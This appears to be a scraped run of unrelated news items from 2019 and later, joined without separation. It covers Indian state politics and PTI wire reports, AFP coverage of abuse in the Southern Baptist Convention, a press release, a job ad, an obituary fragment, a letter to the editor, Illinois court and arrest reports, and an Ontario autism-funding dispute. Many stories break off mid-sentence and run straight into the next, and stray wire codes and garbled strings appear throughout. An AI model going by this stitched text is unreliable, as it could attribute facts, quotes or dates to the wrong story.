Stating that he was also ready for a discussion on the

alleged 2014 video CD about the cash for vote allegedly

involving him, which was raised by the BJP, the chief minister

said he would abide by the Speaker's advice on constituting an

SIT to probe the audio clip.

The political slugfest broke out as Kumaraswamy on

Friday claimed there were two audio clips of recorded

telephonic conversation between Yeddyurappa and Sharan Gouda.

PTI KSU RA

APR

APR

APR APRChandigarh, Feb 13 (PTI) The Ludhiana gang rape incident rocked the Punjab assembly on Wednesday with the opposition alleging that the law and order situation in the state had deteriorated under the Congress government.

Punjab Chief Minister Amarinder Singh assured the House that he would request the chief justice of the Punjab and Haryana High Court to set up a fast track court to bring the accused to justice.

On Saturday, a 21 year old woman was gang raped in Ludhiana and three of the six accused in the case have been arrested.

During the Zero Hour, AAP MLA Sarabjit Kaur Manuke raised the Ludhiana gang rape issue.

AAP MLA H S Phoolka while describing it as a "serious matter" sought assurance from Singh to adopt zero-tolerance towards such a henious crime.

Shiromani Akali Dal and AAP members alleged that the law and order situation had deteriorated in Punjab under the present government.

Insisting that the law and order situation had been maintained effectively during the last two years of his government, the chief minister said three of the six persons involved in gang-rape incident had been arrested.

The remaining three will be nabbed soon, Singh informed the House.

He assured the House that he would urge the the chief justice to set up fast track court and hold its proceedings on a day-to-day basis.

Singh said he was ready for a debate in the House on the law and order situation.

The AAP and SAD-BJP also raised the issue of lathicharge against teachers in Patiala on Sunday.

SAD and BJP MLAs walked out of the House over the issue of lathicharge on teachers that led several people injured.

Later, AAP MLAs, barring rebel legislators in the party and Phoolka, staged a walk out on the teachers and Ludhiana gang rape issues. PTI CHS VSD ANB

ANBSrinagar, Feb 13 (PTI) Two militants were killed in an encounter with security forces in Jammu and Kashmir's Budgam district on Wednesday, police said.

Incriminating material, including arms and ammunition, was also recovered from the encounter site.

"Based on a credible input about the presence of terrorists in the Gopalpora area of Chadoora in Budgam district, a cordon and search operation was launched in the intervening night (of Tuesday and Wednesday)," a police spokesman said.

He said when the search operation was underway, the militants fired on the security forces. The search party retaliated and it led to a gunfight in which the two militants were killed, the spokesman said.

The identities and affiliations of the militants are being ascertained, he added.

"Incriminating material, including arms and ammunition, was recovered from the site of encounter," the spokesman said.

Police have registered a case and initiated investigation into the matter, he said. PTI SSB MIJ

ANB

ANBImphal, Feb 13 (PTI) Prohibitory orders imposed in Manipur capital Imphal continued for the second day on Wednesday even as defiant locals came out on the streets in large numbers to protest against the Citizenship Bill, officials said.

Security barriers have been put up in all VIP areas of the state capital, with police frisking vehicles and pedestrians in the busy localities, they said.

Mobile internet services have been suspended in the state till Saturday in the wake of the continued protests.

On Tuesday night, police had to fire tear gas shells and mock bombs at Kymagei and Takhel Leikai areas of the city to disperse a group of protesters, who raised slogans seeking the revocation of the bill, officials said.

According to hospital sources and eyewitnesses, more than 10 people were injured in different parts of the city since Tuesday.

There was, however, no police confirmation on the number of injured.

Markets, schools, colleges and offices remained closed, officials said.

The state capital straddles Imphal East and Imphal West districts.

In Imphal West, District Magistrate Naorem Praveen Singh have barred local cable news channels from telecasting the agitations.

The authorities clamped curfew in the state capital Monday amid reports that the contentious bill will be tabled in the Rajya Sabha.

Political parties in the Northeast, including the BJP allies, are vehemently opposing the bill that was passed by the Lok Sabha on January 8. The Centre had said it will try to get it passed by the Rajya Sabha during the Budget Session.

Notwithstanding Prime Minister Narendra Modi's attempts to assuage the concerns of various political parties that the proposed law will not compromise the interests of people of the region, Meghalaya chief minister Conrad Sangma has threatened to pull his National Peoples Party out of the BJP-led NDA if the Rajya Sabha passes the Bill.

Manipur Chief Minister N Biren Singh and his Arunachal Pradesh counterpart Pema Khandu met Union Home Minister Rajnath Singh on Monday and requested him not to table the bill in the Rajya Sabha.

Both Khandu and Singh are BJP chief ministers.

The bill seeks to provide citizenship to non-Muslim minorities from Bangladesh, Pakistan and Afghanistan who fled persecution, after six years of residence in India, instead of 12 years, which is currently the norm, even if they do not possess any document.

The indigenous people of the region are apprehending that if the law is enacted, it will endanger their livelihood and identity. PTI CORR RMS SOM

SOMChicago, Feb 13 (AFP) The United States' largest Protestant denomination, the Southern Baptist Convention, is facing a sexual abuse crisis after a bombshell report revealed hundreds of predators and more than 700 victims since 1998.

The report by two Texas newspapers found some 380 church leaders and volunteers have faced public accusations of abuse, mostly of children as young as three years old.

Some of the accused continued to work at Southern Baptist churches, the newspapers said.

In response to the report, church officials acknowledged the number of victims could actually be higher and urged survivors to come forward.

"One of the things I'm encouraged by are the number of pastors that are actively engaged right now," in the report's aftermath, convention leader Russell Moore told AFP on Tuesday.

The revelations threatened to engulf the denomination -- with some 47,000 churches and 15 million members mostly in the southern US -- in the same type of scandal that has roiled the Catholic Church.

A more comprehensive response was likely to come from the Southern Baptist organization next week when president JD Greear "is scheduled to give an update on a sexual abuse study he commissioned last summer," said spokesman Roger Oldham.

Unlike the Vatican, the Southern Baptist Convention is a loose network of churches allowed to run autonomously, ordain their own ministers -- who are not required to be celibate -- and hire staff and volunteers based on each church's own standards.

The decentralized system, which lacks a shared database of personnel records, has been rife for exploitation by sexual abusers, according to the investigative report first published over the weekend by the Houston Chronicle and the San Antonio Express-News.

Lax oversight allowed some abusers with criminal convictions -- even registered sex offenders -- to continue working at Southern Baptist churches, according to the report, which found 220 offenders who were convicted or took plea deals.

"In the denomination, each congregation governs its own affairs. There are no bishops. There are no supervisors," Moore said.

"But churches can decide with whom they fellowship," he said. "No one can use church autonomy as an excuse." In at least 35 cases, abusers were able to leave one church and find work in another over the last two decades. In some cases, congregations knew about the past abuse.

For example, Illinois pastor Leslie Mason was convicted in 2003 on two counts of sexual assault. After being released from prison, he went on to lead a different church nearby.

Florida pastor Darrell Gilyard, released from prison in 2011 after a criminal sex abuse conviction involving two girls, returned to preach services which children could not attend, because a court order required him to stay away from minors.

Moore said some Southern Baptists held erroneous views of forgiveness that "assumes these predators should be simply given a second chance." In other instances, he said, churches believed horrific crimes could not occur within their ministries.

Moore also acknowledged that the Southern Baptist Convention rejected a proposal in 2007 that it should establish a registry to track abuse claims and prevent predators from getting rehired by other churches.

The newspapers found hundreds of abuse cases in the years since. And past church leaders have been accused of concealing or mishandling complaints.

"As a denomination, now is a time to mourn and repent. Changes are coming. They must," said Greear, the convention's current president, on Twitter.

The Survivors Network for those Abused by Priests (SNAP), an organization mostly focused on the Catholic Church's abuse scandal, urged Southern Baptist survivors to report crimes to law enforcement.

"It is critical that law enforcement officials at every level of government look into these cases," the organization said in a statement.

Failure by Catholic Church officials to take action on sexual abuse allegations involving minors has been an urgent crisis hitting Roman Catholicism globally in recent years.

Pope Francis last week admitted that priests and bishops also had sexually abused nuns. AFP RAX

RAX(Eds: Disclaimer: The following press release comes to you under an arrangement with NewsVoir. PTI takes no editorial responsibility for the same.)

Jaipur, Rajasthan, India(NewsVoir)



Early Ed Asia 2019 began in the right earnest at The City Palace, Jaipur yesterday. While the pink city is grappling with a dip in mercury, the regal venue is buzzing with warmth and palpable energy of over 600 delegates from the field of early childhood education.







Day 1 of this premier conference packs a punch with power talks by eminent educationist Dr. DaneilaLucangeli from Italy, Dr. Claire Warden from the UK, Dr. Swati Popat Vats, President, Early Childhood Association among other leading lights from India and abroad.







The individual speaking slots were interspersed with panel discussions and brainstorming sessions with stalwarts and experts from diverse fields to not only provide expert views but also to encourage healthy debate amongst attendees.







Dr. Swati Popat Vats, President, ECA said, Early Ed Asia 2019 is another step in the ongoing journey towards formulating a strong and universal framework in the early education space. I am confident that over today and tomorrow we will have sparked a positive change in the status quo of early education.







Mr. Ravi Santlani, CEO, ScooNews share similar sentiments, It is a historic conference in many ways. The sheer expertise in early childhood that is attending Early Ed Asia 2019 over today and tomorrow is staggering. The venue is inspiring beyond words. Personally, I am excited about all the content that will be shared during brainstorms, powertalks and interviews.







Day 1 ended in a glittering award presentation ceremony felicitating luminaries from Early Childhood Education with the iconic ECA Hall of Fame Awards. These highly coveted awards are the most awaited recognition in this field and an honour to receive. The day wound down with networking over dinner hosted by the Royal Family of Jaipur.







Image 1: An enthralled audience of 600 early childhood educators at Early Ed Asia







Image 2:Ravi Santlani, CEO, ScooNews receives the ECA Hall of Fame award for Best Journalist PWR

PWRMPTB gets into collaboration with producers of Sherni shot in MP locales"With the loss of Hornet and serious damage to Enterprise, the Battle of Santa Cruz was a Japanese victory, but at an extremely high cost," retired Rear Admiral Samuel Cox, director of Naval History and Heritage Command, said in a statement. "About half the Japanese aircraft engaged were shot down by greatly improved U.S. Navy anti-aircraft defenses. As a result, the Japanese carriers did not engage again in battle for almost another two years."After her recent involvement in a major showdown with the Narendra Modi government over CBI sleuths attempting to question the Kolkata top cop, West Bengal Chief Minister Mamata Banerjee was at her aggressive best at an Opposition rally in the national capital. She brought the fight closer home to Modi, launching a blistering attack against the ruling dispensation.

Mamata, who was the star speaker at the rally organised by the Aam Aadmi Party (AAP) at Jantar Mantar, minced no words as she attacked Modi, remarking that today was, for all practical purposes, his last day as prime minister, since it was the last day of the present Lok Sabha term, and declared that the Opposition parties will hold a massive rally in the Ramlila Maidan after defeating the Modi government.

There are now two GabbarsNarendra Modi and Amit Shah. And, they are trying to scare everyone. We are not scared of them. We will fight them and we will defeat them, Mamata said addressing the 'Remove Dictatorship, Save Democracy Satyagraha'.

While emphasising upon the need for the Opposition to stay united, the Trinamool Congress supremo, in her speech, also conveyed a message to the Congress, to allow regional parties who hold sway in their respective states to fight the BJP in the coming Lok Sabha elections.

I have maintained that whoever is strong in a particular state should fight Modi. In Bengal, we are strong. In Andhra Pradesh, it is Chandrababu Naidu who is strong. In Delhi, the AAP will fight Modi. In Uttar Pradesh, BSP and SP are strong. The Congress is strong in Rajasthan and Chhattisgarh and in other states, so it can contest there, she said.

Referring to the Congress and the Left coming together in West Bengal for the Lok Sabha elections, she said the alliance will not damage the Trinamool's prospects and it will emerge victorious in all 42 seats in the state.

Amidst speculation that Mamata was upset with the Congress and the Left adopting an aggressive stance against the Trinamool in the Lok Sabha today regarding the chit fund scam, she said, We will fight the Congress and the CPI(M) in the state. But we will be together at the national level.

The rally was yet another attempt to display Opposition unity ahead of the Lok Sabha elections. Contrary to speculation, the Congress and the Samajwadi Party attended the rally, which was expected to be primarily a show of strength of an emerging sub-grouping within the Opposition bloc, comprising mainly the Trinamool, the TDP, the AAP, the NCP and the JD(S). The BSP, however, did not attend the rally.On February 10, people of Puducherry were taken by surprise when Lt Governor Kiran Bedi took to streets to stop two-wheeler riders and advise them to follow the road rules and wear helmet. The policemen had a tough time moving around with the governor and making the two-wheeler riders obey the traffic rules.

However, a day later, Bedis gesture came under attack from the cabinet with Chief Minister V. Narayanasamy staging a dharna in front of Raj Nivas.

The governor is meddling in the day-to-day administrative affairs of the government. We are now protesting against the forceful implementation of the helmet rule in the state, said Narayanasamy who was seen clad in a black shirt and black dhoti.

Raising slogans against Kiran Bedi, PCC president and PWD minister A. Namasivayam, along with the entire cabinet, was present in front of Raj Nivas in support of Narayanasamy.

The governor is abusing her power and position. She took a unilateral decision on implementing the compulsory helmet rule. She has gone to the extent of threatening officials with dire consequences if they do not implement the helmet rule, Narayanasamy said. The chief minister also alleged that the governor was sitting on 39 important files.

A day after Bedi implemented the new helmet rule, Narayanasamy was seen holding a meeting with Territorial Director General of Police S. Sundari Nanda and Transport Secretary H.P.S. Sran. He said the new rule will go slow on people of Puducherry and added the officials will create awareness on wearing helmet.

It is not the first time the chief minister and the governor have crossed swords in the union territory. In April 2017, the governor landed in a major controversy when she said that the free rice distribution would be conditional to the certification of the village being open defecation free. However Bedi took back the order within days as it drew flak from the legislators. Besides this, Bedis nomination of MLAs had also triggered a row.Viglietta forged the owners signature on checks that she issued to herself, her boyfriend and others to whom she owed money, prosecutors said. She made fraudulent entries in financial records, created at least one fake invoice and improperly used credit and debit cards associated with Advanced ENT.Filmmaker Ram Gopal Varma is known to speak his mind. The director who is currently working on the biopic of actor-politician NT Rama Rao, has showered praise on Mammootty's performance in Yatra. While congratulating director Mahi Raghav in a tweet, Varma lauded Mammootty for immortalising the legendary politician YSR.

Yatra is an awesome film ..A truly great insight into YSR,a truly great leader ..Kudos to @MahiVraghav who made him come alive and kudos to @mammukka for immortalising him forever   Ram Gopal Varma (@RGVzoomin) February 12, 2019

While Mammootty fans were quick to comment and thank Varma for his positive response, many pulled up Varma's old tweets in which he was critical of Malayalam superstars Mohanlal and Mammootty.

For instance, when Sunny Leone arrived in Kerala last year and brought traffic in Kochi to a standstill, Varma had tweeted that Mammootty and Mohanlal would cry out of jealousy because they couldn't draw such huge crowds.

Mammootty fans also reminded Varma of an old tweet where he likened Mammootty to a junior artiste and said he should learn acting from his son Dulquer Salman. Mammootty's son will make Kerala proud in non-Kerala markets in just years, which Mammootty couldn't do for decades, he had said.Valentine's Day this year brings two much-anticipated films from Bollywood and MollywoodZoya Akhtar's Gully Boy and Omar Lulu's Oru Adaar Love.

Gully Boy, starring Ranveer Singh and Alia Bhatt, follows the journey and struggles of a rapper from the slums of Mumbai. The film has been receiving rave reviews from celebrities and critics alike after its world premiere at the 69th Berlin International Film Festival. The film is inspired from the lives of underground rappers Divine and Naezy. Ranveer has everyone floored with his rapping skills displayed in the teasers and promotional events. Alia Bhatt, too, has captured attention with her restrained looks and intense acting. As Ranveer and Alia Bhatt share screen space, fans await to see how their chemistry works out on screen. Kalki Koechlin also plays a pivotal role in the film.

Oru Adaar Love, starring 'wink sensation' Priya Prakash Varrier will be a litmus test of sorts for the actress who shot to overnight fame even before her debut film released. Ever since the winking scene from a song sequence from the Malayalam film went viral last year, she has been at the receiving end of both love and hatred online. A high school love story, the film also features Roshan Abdul Rahoof and Noorin Shereef among others. Piggybacking on the social media fame, the film will also release in Tamil, Telugu and Kannada on February 14. Recently, another teaser clip which featured a lip lock between the film's lead pairPriya and Roshanhad received much backlash online. The film will face tough competition as it takes on Ranveer-Alia starrer Gully Boy.He will next be seen in The Big BullUzima Chicken Ltd isa rapidly growing poultry production company that started operations in Rwandain 2017. We are located in Kabeza (Kigali) having taken over the RubiriziNational Hatchery and are now one of the leading distributors of day oldchicken to rural farmers in Rwanda. We believe in investing in our Bmp|OyBGSby offering excellent opportunities for career advancement.

Job Summary: The Financial Accountant requires a

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reporting in all areas. They will be responsible for verifying all nancial

transactions in line with the companys nancial policies and in accordance

with International Financial Reporting Standards. The ideal candidate requires

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and Management Reporting.

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to have prior experience in dealing with Tax issues.



A scientific organization has asked the public to be on the lookout for "unidentified Flying Objects" apparently piloted by "intelligent beings" entering earths atmosphere.



By USA News Report

1-17-1957

Rear Admiral Delmer Fahrney (Ret.) urged the public to send reports on Unidentified Flying Objects to a new organization known as the National Investigations Committee on Aerial Phenomenon. Fahrney is chairman of the group.He said yesterday the objects move at speeds which cannot be duplicated by the United States and Russia.Brenda Darlene (Burnett, Witt, Bollmer) Curtin, 52, of Cincinnati, Ohio passed away June 21, 2021. She was born November 13, 1968, in Cincinnati, Ohio to the late Gladys (Jones) Napier and the late Wilburn Burnett. Brenda was preceded in death by a daughter, Jennifer Witt and sisters Alta RuI read with interest the Sunday, Feb. 10 Telegraph Capital Briefs section where the article was quoting from the Digging Out: The Rauner Wreckage Report.

Not only was the report name laughable enough, the article tried blaming most of the states fiscal mess on the two-year budget impasse from 2015 to 2017 that resulted in a series of credit downgrades. Had the Democrats in the Illinois House of Representatives worked with Governor Rauner to implement some of his common-sense reforms the budget impasse could have been quickly ended.

There was another article a few pages back on the opinion page under Their View that was a reprint from The Champaign News-Gazette. It was a lot more honest in debunking the Susana Mendoza Democratic spin on things by stating Actually, the first step toward financially healing requires an honest acknowledgement that this states financial problems go back for at least 20 years and that Republicans and Democrats have both been complicit in this epic disaster.

In the same Feb. 10 edition was another letter from Dink Abbott chastising President Trump for never having served in the military. This seems to be a constant criticism of the left but only when its about a Republican president who hadnt serve. Democratic presidents need not have served.

The letter was well written and somewhat humorous but off the mark in regards to President Trump not attending the 100-year WWI anniversary event in France. A simple internet search shows that the cancellation was indeed due to the weather but not because President Trump was wanting to stay out of the rain. At the time White House Reporter Jennifer Jacobs reported: Weather canceled the trip. The presidential helicopter cant fly in poor conditions. And Belleau Wood is about 55 miles from downtown Paris; driving there would have been logistically challenging for the large presidential motorcade.

Additionally, press secretary Sarah Huckabee Sanders said at the time, Yesterday, because of near-zero visibility, Marine One was unable to fly as planned and a car ride of two and a half hours, each way, would have required closures to substantial portions of Paris roadways for the Presidents motorcade, on short notice. President Trump did not want to cause that kind of unexpected disruption so it was best to not go.

It would also be best if Dink did not get all of his information from anti-Trump far-left websites and far-left news commentators.

Jim Schwegel

GodfreyThe delta variant first popped up in Virginia in March, said Caroline Holsinger, director of VDH's surveillance and investigation division. It spreads about 40-60% more quickly than some other variants, she said.EDWARDSVILLE  A woman accused of felony property damage for allegedly allowing her rabbit to chew on her former landlords apartment rug and baseboard testified Tuesday that the rabbit wasnt even her pet.

During a second day of a criminal jury trial Tuesday, Carolann R. Kohtz, 28, said her sister, April Kohtz, owned the rabbit and did not intend to damage the property. She said she did not allow the rabbit to roam free and that she did not believe the damage was more than $500, as the charging document claims.EDWARDSVILLE  Madison County Treasurer Chris Slusser is reminding taxpayers that the last day to pay before the countys annual delinquent tax sale is Friday, Feb. 15.

If you still have unpaid real estate taxes, the last day to pay will be Feb. 15, Slusser said. Payment must be physically received in our office by that date. The Treasurers office is open for business from 8:30 a.m. to 4:30 p.m., Monday through Friday.Burglar grabs cash

drawer at restaurant

BEARDSTOWN  Police are investigating a weekend burglary at a Beardstown restaurant.

About 4 a.m. Saturday, someone broke into Little Mexico restaurant at 405 E. Fourth St. and removed a cash drawer containing what police said was a large amount of cash.

The burglar was able to get away before police arrived.



Morgan County

Sheriff

ARRESTS, CITATIONS

 Jacob D. McGlasson, 24, of Murrayville was booked into the Morgan County jail at 1:02 p.m. Tuesday on a charge of aggravated criminal sexual assault.

Jacksonville Police

ARRESTS, CITATIONS

 Richard L. Kelly, 36, 202 N. Marnico Lane was booked into the Morgan County jail at 4:30 a.m. Tuesday on charges of possession of methamphetamine and possession of drug paraphernalia.

 A 17-year-old boy was arrested at 10:07 a.m. Tuesday on a charge of aggravated battery for pushing a teacher at Garrison Alternative School.

 Raymond A. Christison, 40, of 1042 E. Morton Ave. was booked into the Morgan County jail at 11:47 a.m. Tuesday on a charge of aggravated domestic battery.

South Jacksonville Police

ARRESTS, CITATIONS

 William A. Newingham, 60, of Patterson was booked into the Morgan County jail at 1:21 a.m. Tuesday on charges of possession of a controlled substance and operating an uninsured motor vehicle.



Pike County

Sheriff

ARRESTS, CITATIONS

 Jacki C. McLaughlin, 43, of Greenview was arrested at 9:26 p.m. Friday on charges of possession of methamphetamine and possession of drug paraphernalia.

 Desiree N. Morse, 25, of New Berlin was arrested at 12:33 a.m. Feb. 6 on charges of possession of a controlled substance, possession of drug paraphernalia and possession of a hypodermic needle.

 Ryan J. Kremer, 33, of Nebo was arrested at 9:20 p.m. Feb. 6 on an Illinois Department of Corrections parole hold and three unspecified in-state warrants.

 Zacharey A. Herder, 31, of Angleton, Texas, was arrested at 7:01 p.m. Feb. 4 on a charge of driving under the influence.

Compiled by David C.L. Bauer, Samantha McDaniel-Ogletree and Rosalind EssigEDWARDSVILLE  The attorney for accused murderer Steven J. McGauley claimed Tuesday that his client acted in self defense when he shot Steven Flack five times, killing him. But the victims wife testified that McGauley was the aggressor, killing her husband for trying to stop the shooters acts of spousal abuse.

He was getting ready to leave the Glen Carbon social gathering gone awry just before he was killed, she said.

Defense attorney Morgan Scroggins said McGauley was beaten so badly by Flack that he was unable to think straight.

He was beaten so badly, he thought he needed a gun to protect himself from great bodily harm or death, Scroggins told the jury. He was beaten within an inch of his life.

But, Assistant States Attorney Tonya Genovese told the jury that McGauley was motivated by pride because Flack intervened as McGauley was abusing his wife, Mary McGauley. The prosecutor told the jury there was plenty of time between the point at which a confrontation ended and when the defendant went into his house and retrieved a .38-caliber revolver.

McGauley, 47, of the 100 block of Hillcrest Drive, Glen Carbon, was charged with two counts of first-degree murder and one count of domestic battery, a Class A misdemeanor, stemming from an incident Sept. 3, 2017, after which Flack, 43, of Edwardsville, was found dead. The shooting occurred in McGauleys back yard on a Labor Day weekend when several friends met to drink and socialize.

Genovese said McGauley was enraged because Flack stood up to him.

His pride was hurt. He got caught beating on his wife. The defendant yelled vile obscenities at Steven Flack and asked him to fight. He couldnt believe someone stood up to him.

The victims widow, Leah Flack, testified she was at McGauleys home, the scene of the shooting, and decided to leave when the hostilities broke out. She said she was in the car when her husband came out to talk to her, and they decided to leave.

Her husband went back into the house to retrieve some belongings, and that was the last time she saw him alive, she testified Tuesday.

Genovese told the jury that, after a brief verbal and physical confrontation, McGauley went into the house, through the kitchen and living room, and up the stairs to a bedroom. He retrieved a gun, loaded it, went back downstairs to the back yard, said goodbye to a friend and shot Flack five times, she said.

Scroggins claimed that his client was not looking for a gun, but a cellphone.

He doesnt lock the door or call 911, Genovese told the jury.

She said the hostilities ended after McGauley received a laceration to his eye and two bumps on his head.

He brought a gun to a fight that was already over, she said.ALTON  A special treat for women is happening during this month of Valentines Day.

A Journey To Discovery, an online womens ministry and nonprofit, faith-based organization, presents The Daughters Of The King/The Crown Still Fits conference from 5 to 9 p.m. Saturday, Feb. 23, at the Alton Knights of Columbus Hall/Spaulding Club, 405 E. Fourth St., in Alton, Illinois. A teen session will occur from 12 to 4 p.m. The conference is open to the public and free to attend. Organizers are asking for conference donations, from which a portion of the proceeds will go to the Boys & Girls Club of Alton.

The Daughters Of The King/The Crown Still Fits conference goal is to allow the love of God to shine through and change lives daily, said A Journey To Discoverys Marlana Foster Clemons, 34, who founded the group and leads the A Journey To Discovery ministry through its Facebook page of the same name. Clemons posts inspirational messages and videos on the page at https://www.facebook.com/womenofpowerdaughtersoftheking/ which also can be found with the url.

A Journey To Discovery is open to any woman of God, to share experiences of love, faith, support and overcoming, which is what led Clemons to form the ministry in September 2017.

The ministry came about because I actually used to run my dads bar and life started changing for me, bringing me down a bit, and I knew that being in the bar wasnt for me, Clemons recalled. God was speaking to me and saying that was not what He wanted me to do.

Then three years ago this month, Clemons became seriously ill, hospitalized with a double kidney infection, which almost caused her kidneys to fail and require dialysis.

I was very sick, but Ive always been very spiritual, even in the midst of being in the bar a lot, never resting, constantly busy, she said. I ended up sick because God wanted me to sit down. He was like, Some of this stuff has to go. In the hospital, I awoke and God started talking to me, telling me this was the time to get my ministry off the ground.

More Information If you go: What: The Daughters Of The King/The Crown Still Fits conference, presented by A Journey To Discovery, an online nonprofit women's ministry & organization When: 5 to 9 p.m., Saturday, Feb. 23; a teen session will take place from 12 to 4 p.m. Where: Alton Knights of Columbus Hall/Spaulding Club, 405 E. Fourth St., Alton, Illinois Info: Open to the public, free to attend. Organizers are asking for conference donations, from which a portion of the proceeds will go to the Boys & Girls Club of Alton. RSVP for the The Daughters Of The King/The Crown Still Fits conference by calling 618-801-7452 or messaging A Journey To Discovery at https://www.facebook.com/womenofpowerdaughtersoftheking/ See More Collapse

She began to first share her vision for a ministry with family: her niece, Candice Foster, in particular, who Clemons described as a prayer warrior, and two of her sisters, Victoria Foster and Ruby Foster.

We were having prayer nights for a while and then started doing weekly videos and posts, Clemons recalled. Thats where I started out.

Now, A Journey To Discoverys organizing members  Clemons, Candice Foster, Victoria Foster, Ruby Foster and Clemons sister-in-law Florita Foster  are holding the ministrys first conference, The Daughters Of The King/The Crown Still Fits, inspired by the Foster family matriarch, the late Viola Foster, who passed away Oct. 4, 2018.

Part of my vision and our purpose to do the conference is because of the love women feel they miss, particularly at this time of year around Valentines Day, said Clemons, who is a full-time mom and works from her Alton home for It Works Global networking. Also, as a kid, I always thought Id have a ministry, Id empower women, and I always prayed and wanted to be like my mother, who was so close with God. Shes the reason for all of this.

Although A Journey To Discovery started with the Foster family, the group welcomes any woman seeking fellowship with like-minded women.

The Bible, scripture shows that a lot of people God gave jobs to, He said to save family first, keep them from harms way first. In our family, that is part of our ministry, to save each other, because if were higher in numbers then we can save other people, Clemons explained.

She and her fellow ministry members added The Crown Still Fits to the conference title to remind women that no matter where they are in life, each woman wears a crown given to them by God.

Though she might think at a certain point in life that her crown is too big or too small, it still fits, Clemons said. Our mission is to simply help other women realize your crown is made exactly for you.

When Clemons mother entered hospice care last fall, Clemons asked God for courage to continue her ministry, in light of knowing that her mother would soon physically be gone. Clemons found out that her crown still fit.

He basically said He was going to take care of me, she said. After my mom passed, a few weeks later, He woke me from sleep and said, Its time. Around the same time, my niece, my soul sister, Candice, ended up needing a place to stay and came to live with me. I told her about wanting to have a womens conference and she said, Lets do it!

The pair contacted Clemons oldest brother and Arizona pastor, James Foster, for guidance.

He said, I want you to lose the fear, recalled Clemons about their conversations. That was my go. The conference just took off. We found the building that holds 275 people and we decided to do a teen event, too.

The Daughters Of The King/The Crown Still Fits sessions will focus on love, faith, forgiveness and inner strength through activities involving motivational speaking, exercises in expression of those tenets and designing your own crown.

Overall, each session is to encourage each other and fix another womans crown, Clemons said.

A Journey To Discovery means a journey that is seeking the discovery of a vision given from God to a woman, Clemons explained. A Journey To Discoverys mission is to be an inspiration to each individual who comes into contact with the organization.

The Foster family siblings are, from oldest to youngest, Barbara Young, Dorothy Lamar, James Foster, the late Andrew Foster, the late Steven Foster, Vincent Foster, Ruby Foster, Victoria Foster, Rachel Foster, Tyrone Foster, Maria Foster, Amanda Foster, Shajuan Williams, Dajuan Williams, Marlana Foster Clemons and Shabrea Williams.

RSVP for the The Daughters Of The King/The Crown Still Fits conference by calling 618-801-7452 or messaging A Journey To Discovery at https://www.facebook.com/womenofpowerdaughtersoftheking/

Reach Jill Moon at 618-208-6448 and Twitter @jill_moon.EDWARDSVILLE  Southern Illinois University Edwardsville offers a powerful array of programs that help strengthen its impact on the region and beyond.

On this weeks episode of Segue, host Randy Pembrook, PhD, SIUE chancellor, interviews Denise Cobb, PhD, provost and vice chancellor for academic affairs, and Jerry Weinberg, PhD, associate provost for research and dean of the Graduate School. This episode will air at 9 a.m. on Sunday, Feb. 17, on WSIE 88.7 FM The Sound and siue.edu/wsie.

SIUE received some exciting news recently from the Carnegie Commission on Higher Education, Pembrook says. SIUE has been promoted to the category of doctoral/professional university.

What is the Carnegie classification and what does change mean to our University?

The Carnegie classification is a way to categorize universities on the types of programs offered, their enrollment, their research expenditures and activities, Cobb explains. It becomes an objective calculation for the rating system other than assessments of subjective criteria of quality or other activities.

For a while, SIUE was listed as a masters-large institution, and we always thought of ourselves as a masters-comprehensive institution. With the change in category, its nice to be able to talk about SIUE, reflecting upon the array of doctoral and professional programs and activities in which our faculty, staff and students are engaged.

As associate provost of research and dean of the Graduate School, Weinberg is thrilled by the reclassification.

This is an exciting recognition of our work as scholars and researchers, and this new classification reflects the level of work that we are immersed in, Weinberg says.

The previous categorization brought recognition to SIUE as a teaching institution, the new doctoral/professional university category also brings recognition to our facultys scholarship and research, Weinberg continues. The faculty bring their research into the classroom, and mentor undergraduate and graduate students research. We have been doing this for a while, and now, we have recognition for that.

When faculty members turn proposals in to federal or state agencies, they are responsible for listing the category of institution in which SIUE belongs. While these proposals are reviewed on merit, it certainly helps that there are students in masters and doctoral-level programs to assist faculty with critical research.

Do you see this new categorization as an aid for enrollment, recruitment, and visibility for both students and faculty in the future? Pembrook asks.

Absolutely! Weinberg replies. We hope to bring in new faculty members who are interested in teaching, research and scholarship. To be able to have that recognition, to have a student body that is engaged in scholarship willing to work with our faculty is going to be a great draw to recruiting faculty, and it will bring new grants to SIUE.

According to Carnegie, the Doctoral Universities categories were reshaped to better accommodate Doctors degree-professional practice within the Carnegie methodology. These degrees were formerly categorized as first professional degrees, and included such degrees as the MD, JD, PharmD, and DMD, which were not previously considered as part of the basic classification methodology.

As provost, do you think that doctoral-level education is continually growing at our University? What do you see happening in our future? Pembrook asks.

Doctoral education varies on our campus, Cobb says. For a long time, weve had a doctoral-serving mission through our School of Dental Medicine, our PharmD program, cooperative PhD programs with our sister institution, the EdD research doctorate or the Doctor of Nursing Practice.

We have a longstanding tradition of doctoral practice, but it got lost in the moniker of the Carnegie classification of masters large. When you think about universities, there probably are not many institutions that have the robust array of undergraduate, graduate and professional doctorate programs that SIUE offers.

Cobb mentions that SIUE has great pride in the opportunities it affords for interdisciplinary collaboration and interprofessional education. She thinks this classification should serve as the institutions next evolutionary step toward adding new doctorates of practice and first-professional degrees or research doctorates.

Jerry, I hear that as we move into this new category, we are already going to be ranked very highly as it relates to research productivity, Pembrook says.

The National Science Foundation conducts a Higher Education and Research Development Survey, which looks at the research expenditures for institutions that receive federal funding or expenditures above $150,000. They publish those annually, Weinberg says. Looking at our research expenditures, we rank the third highest in our Carnegie classification, which is very exciting! It shows how much we are accomplishing as a research institution, and it shows the possibilities that we have in moving our research forward, that we are capable of growing in that area.

To listen to Pembrook, Cobb and Weinbergs conversation in its entirety, tune into Segue at 9 a.m. on Sunday, Feb. 17 on WISE 88.7 FM The Sound and siue.edu/wsie.Behaviour analysts say childrens minister Lisa MacLeod and her staff threatened to make their lives miserable for the next four years if they didnt endorse the governments changes to autism services.

In a memo to members Wednesday, the board of the Ontario Association for Behavioural Analysts said the minister and her staff requested that ONTABA provide a quote of support, without providing full details on the program, and indicated that failure to do so would result in four long years for the organization.

It went on to say that the minister also indicated that if a quote of support was not forthcoming, a communication that behaviour analysts are self-interested would be released from her office ... In spite of the implied risk, the organization refused.

One analyst who attended the Jan. 29 meeting in advance of the governments autism announcement, said it was more akin to meeting with a mob boss than an elected official.

The rift with ONTABA is part of an escalating division between the Ford government and some in the autism community in the wake of the Progressive Conservatives system overhaul, which MacLeod has pledged will make funding more equitable and clear the massive wait list for services within 18 months.

A spokesperson for MacLeod said ONTABA was unwilling to work with the government on changes to the system.

